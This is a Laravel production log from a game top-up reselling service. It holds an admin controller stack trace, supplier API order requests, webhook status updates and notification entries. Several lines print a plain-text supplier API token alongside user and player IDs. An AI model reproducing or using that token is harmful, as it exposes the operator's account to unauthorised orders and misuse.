[2026-03-24 16:31:10] production.ERROR: Attempt to read property "user_id" on null {"exception":"[object] (ErrorException(code: 0): Attempt to read property \"user_id\" on null at /home/talaah/public_html/app/Http/Controllers/Admins/Payments/RequestChargeController.php:124)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Bootstrap/HandleExceptions.php(258): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'Attempt to read...', '/home/talaah/pu...', 124)
#1 /home/talaah/public_html/app/Http/Controllers/Admins/Payments/RequestChargeController.php(124): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->{closure:Illuminate\\Foundation\\Bootstrap\\HandleExceptions::forwardsTo():257}(2, 'Attempt to read...', '/home/talaah/pu...', 124)
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Admins\\Payments\\RequestChargeController->approveCredit(Object(Illuminate\\Http\\Request))
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('approveCredit', Array)
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Admins\\Payments\\RequestChargeController), 'approveCredit')
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#8 /home/talaah/public_html/app/Http/Middleware/AdminAuth.php(35): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\AdminAuth->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#10 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(47): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#12 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#56 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#57 {main}
"} 
[2026-03-24 16:31:13] production.INFO: SendAcceptReject: Notification queued {"user_id":1726,"notification_type":"request_approved","reference_id":18647} 
[2026-03-24 16:31:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1726  
[2026-03-24 16:31:22] production.INFO: SendAcceptReject: Notification queued {"user_id":376,"notification_type":"request_approved","reference_id":18652} 
[2026-03-24 16:31:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 376  
[2026-03-24 16:31:40] production.INFO: Constructing job for order: 178907  
[2026-03-24 16:31:43] production.INFO: Handling job for order: 178907  
[2026-03-24 16:31:43] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:31:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:31:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0465312e-38a9-4beb-ad28-36a112343d07&Player_ID=52096393344  
[2026-03-24 16:31:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=0465312e-38a9-4beb-ad28-36a112343d07&Player_ID=52096393344","has_body":false} 
[2026-03-24 16:31:44] production.INFO: Operation sent successfully {"operation_id":163816,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ZWHQ-1774359104","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:31:44"}},"processed_data":{"order_number":"ORD-ZWHQ-1774359104","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:32:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"d7p3qovJ1eovsQfR6paZr9hc9a6PW1WP","execution_time":"2026-03-24 16:32:02"} 
[2026-03-24 16:32:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"d7p3qovJ1eovsQfR6paZr9hc9a6PW1WP","execution_time":"2026-03-24 16:32:02","total_operations":2,"sites_count":1} 
[2026-03-24 16:32:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"d7p3qovJ1eovsQfR6paZr9hc9a6PW1WP","execution_time":"2026-03-24 16:32:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-vaAee9-1774358736","ORD-ZWHQ-1774359104"]} 
[2026-03-24 16:32:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"d7p3qovJ1eovsQfR6paZr9hc9a6PW1WP","execution_time":"2026-03-24 16:32:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:32:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"d7p3qovJ1eovsQfR6paZr9hc9a6PW1WP","execution_time":"2026-03-24 16:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 16:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"d7p3qovJ1eovsQfR6paZr9hc9a6PW1WP","execution_time":"2026-03-24 16:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"d7p3qovJ1eovsQfR6paZr9hc9a6PW1WP","execution_time":"2026-03-24 16:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZWHQ-1774359104","operation_id":163816} 
[2026-03-24 16:32:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"d7p3qovJ1eovsQfR6paZr9hc9a6PW1WP","execution_time":"2026-03-24 16:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZWHQ-1774359104","operation_id":163816,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 16:32:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"d7p3qovJ1eovsQfR6paZr9hc9a6PW1WP","execution_time":"2026-03-24 16:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZWHQ-1774359104","operation_id":163816,"processed":0,"errors":0} 
[2026-03-24 16:32:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"d7p3qovJ1eovsQfR6paZr9hc9a6PW1WP","execution_time":"2026-03-24 16:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZWHQ-1774359104","operation_id":163816} 
[2026-03-24 16:32:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ZWHQ-1774359104","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:32:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-ZWHQ-1774359104","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:32:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:32:04] production.INFO: SendAcceptReject: Notification queued {"user_id":274,"notification_type":"order_approved","reference_id":178907} 
[2026-03-24 16:32:04] production.INFO: Order updated successfully. Order ID: 178907, Status: completed  
[2026-03-24 16:32:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ZWHQ-1774359104","status":"completed","codes_count":0} 
[2026-03-24 16:32:05] production.INFO: Constructing job for order: 178908  
[2026-03-24 16:32:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 274  
[2026-03-24 16:32:08] production.INFO: Handling job for order: 178908  
[2026-03-24 16:32:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:32:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:32:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/827/params?qty=30000&uuid=250744b3-ac12-4c0d-8d14-fe079be7a83a&Player_ID=15807206  
[2026-03-24 16:32:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/827/params?qty=30000&uuid=250744b3-ac12-4c0d-8d14-fe079be7a83a&Player_ID=15807206","has_body":false} 
[2026-03-24 16:32:09] production.INFO: Operation sent successfully {"operation_id":163817,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mgHvhWM-1774359129","amount":3.1392480000000002604565452202223241329193115234375,"status":"processing","product":"Nahki Amount","game":"Nahki","notes":[],"created_at":"2026-03-24 16:32:09"}},"processed_data":{"order_number":"ORD-mgHvhWM-1774359129","amount":3.1392480000000002604565452202223241329193115234375,"status":"processing","product":"Nahki Amount","game":"Nahki"}} 
[2026-03-24 16:33:15] production.INFO: Constructing job for order: 178909  
[2026-03-24 16:33:18] production.INFO: Handling job for order: 178909  
[2026-03-24 16:33:18] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:33:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:33:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=08287c9c-8f46-4576-a157-5ed8c1d08530&Player_ID=51406136705  
[2026-03-24 16:33:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=08287c9c-8f46-4576-a157-5ed8c1d08530&Player_ID=51406136705","has_body":false} 
[2026-03-24 16:33:19] production.INFO: Operation sent successfully {"operation_id":163818,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wvxb2LR-1774359199","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:33:19"}},"processed_data":{"order_number":"ORD-wvxb2LR-1774359199","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:33:26] production.INFO: Constructing job for order: 178910  
[2026-03-24 16:33:28] production.INFO: Handling job for order: 178910  
[2026-03-24 16:33:28] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:33:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:33:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/57/params?qty=1&uuid=75953394-d068-48e5-8f2c-977cadd5ed77&Player_ID=5652880771  
[2026-03-24 16:33:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/57/params?qty=1&uuid=75953394-d068-48e5-8f2c-977cadd5ed77&Player_ID=5652880771","has_body":false} 
[2026-03-24 16:33:29] production.INFO: Operation sent successfully {"operation_id":163819,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-rdL-1774359209","amount":44.36999999999999744204615126363933086395263671875,"status":"processing","product":"3000+850UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:33:29"}},"processed_data":{"order_number":"ORD-rdL-1774359209","amount":44.36999999999999744204615126363933086395263671875,"status":"processing","product":"3000+850UC","game":"PUBG"}} 
[2026-03-24 16:33:40] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-wvxb2LR-1774359199","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:33:40] production.INFO: Processed webhook data (normalized) {"id":"ORD-wvxb2LR-1774359199","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:33:40] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:33:40] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":178909} 
[2026-03-24 16:33:40] production.INFO: Order updated successfully. Order ID: 178909, Status: completed  
[2026-03-24 16:33:40] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-wvxb2LR-1774359199","status":"completed","codes_count":0} 
[2026-03-24 16:33:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 16:34:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02"} 
[2026-03-24 16:34:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","total_operations":3,"sites_count":1} 
[2026-03-24 16:34:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-vaAee9-1774358736","ORD-mgHvhWM-1774359129","ORD-rdL-1774359209"]} 
[2026-03-24 16:34:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:34:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 16:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:34:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":2,"skipped":1,"updates_prepared":2} 
[2026-03-24 16:34:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 16:34:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"count":2} 
[2026-03-24 16:34:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"count":2} 
[2026-03-24 16:34:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"user_id":348,"notification_type":"order_approved","reference_id":178908} 
[2026-03-24 16:34:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"user_id":1141,"notification_type":"order_approved","reference_id":178910} 
[2026-03-24 16:34:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 16:34:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 16:34:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":2,"errors":0} 
[2026-03-24 16:34:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":2,"errors":0} 
[2026-03-24 16:34:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ItZ4KJi5HXWkbzIhzTUVXpr6Iq6ShC68","execution_time":"2026-03-24 16:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:34:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 348  
[2026-03-24 16:34:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1141  
[2026-03-24 16:34:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-rdL-1774359209","status":"completed","notes":[],"codes":[]}} 
[2026-03-24 16:34:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-rdL-1774359209","status":"completed","codes":[],"notes":[]} 
[2026-03-24 16:34:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:34:04] production.ERROR: Order not found or already processed. External ID: ORD-rdL-1774359209  
[2026-03-24 16:34:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-rdL-1774359209","status":"completed","codes_count":0} 
[2026-03-24 16:34:45] production.INFO: Constructing job for order: 178912  
[2026-03-24 16:34:47] production.INFO: Handling job for order: 178912  
